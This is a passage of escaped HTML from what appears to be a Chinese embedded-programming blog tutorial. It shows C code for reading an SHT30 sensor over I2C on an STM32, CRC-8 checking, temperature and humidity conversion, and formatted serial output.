class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"读取数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E8%AF%BB%E5%8F%96%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"读取数据\"\u003e\u003c/a\u003e读取数据\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 从SHT30读取一次数据 * @param dat —— 存储读取数据的地址(6个字节数组) * @retval 成功 —— 返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eREADOUT_FOR_PERIODIC_MODE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"CRC-8校验\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#CRC-8%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"CRC-8校验\"\u003e\u003c/a\u003eCRC-8校验\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eCRC8_POLYNOMIAL\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x31\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//余数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//循环变量\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 初始化 */\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ej \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ej\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e^=\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ej\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 从最高位开始依次计算 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eCRC8_POLYNOMIAL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 返回计算的CRC码 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"温湿度转换-1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%B8%A9%E6%B9%BF%E5%BA%A6%E8%BD%AC%E6%8D%A2-1\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 将SHT30接收的6个字节数据进行CRC校验,并转换为温度值和湿度值 * @param dat —— 存储接收数据的地址(6个字节数组) * @retval 校验成功 —— 返回0 * 校验失败 —— 返回1,并设置温度值和湿度值为0*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 校验温度数据和湿度数据是否接收正确 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换温度数据 */\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e45\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e175\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_temperature\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换湿度数据 */\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e100\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003erecv_humidity \u003cspan class=\"token operator\"\u003e/\u003c/span\u003e \u003cspan class=\"token number\"\u003e65535\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"在main-c中使用SHT30\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E5%9C%A8main-c%E4%B8%AD%E4%BD%BF%E7%94%A8SHT30\" class=\"headerlink\" title=\"在main.c中使用SHT30\"\u003e\u003c/a\u003e在\u003ccode\u003emain.c\u003c/code\u003e中使用SHT30\u003c/h3\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e外定义格式化函数:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003eint main()\u003c/code\u003e的\u003ccode\u003ewhile (1)\u003c/code\u003e前定义相关变量与SHT30初始化:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0.0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e HAL_OK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;sht30 init is not ok!\\r\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在\u003ccode\u003ewhile(1)\u003c/code\u003e内调用格式化函数,每次调用后进行适当延时。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003etemperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehumidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"格式化函数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"格式化函数\"\u003e\u003c/a\u003e格式化函数\u003c/h4\u003e\u003cp\u003e将格式化函数写在 \u003ccode\u003e/* USER CODE BEGIN 4 */\u003c/code\u003e 与 \u003ccode\u003e/* USER CODE END 4 */\u003c/code\u003e 之中。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e字符串格式化输出 \u003ccode\u003esprintf()\u003c/code\u003e:\u003c/p\u003e\u003cp\u003e\u003ccode\u003eint sprintf(char * s, const char * format, ...);\u003c/code\u003e定义在\u003ccode\u003estdio.h\u003c/code\u003e中,适用于 \u003ccode\u003e string\u003c/code\u003e 版本的格式化输出,其目标不是控制台,而是一个字符串。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003esprintf()\u003c/code\u003e 格式化一个字符串,例如:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003esprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;Name:%s,Age:%d,Weight:%.2f\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;LiMing\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e30\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1.68\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e运行后目标\u003ccode\u003ebuf\u003c/code\u003e格式化为:\u003ccode\u003eName:LiMing,Age:30,Weight:1.68\u003c/code\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003esprintf()\u003c/code\u003e对于字符串的处理非常有用。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e将SHT30温湿度数据格式化并通过串口输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003ereport_tempRH_json\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token 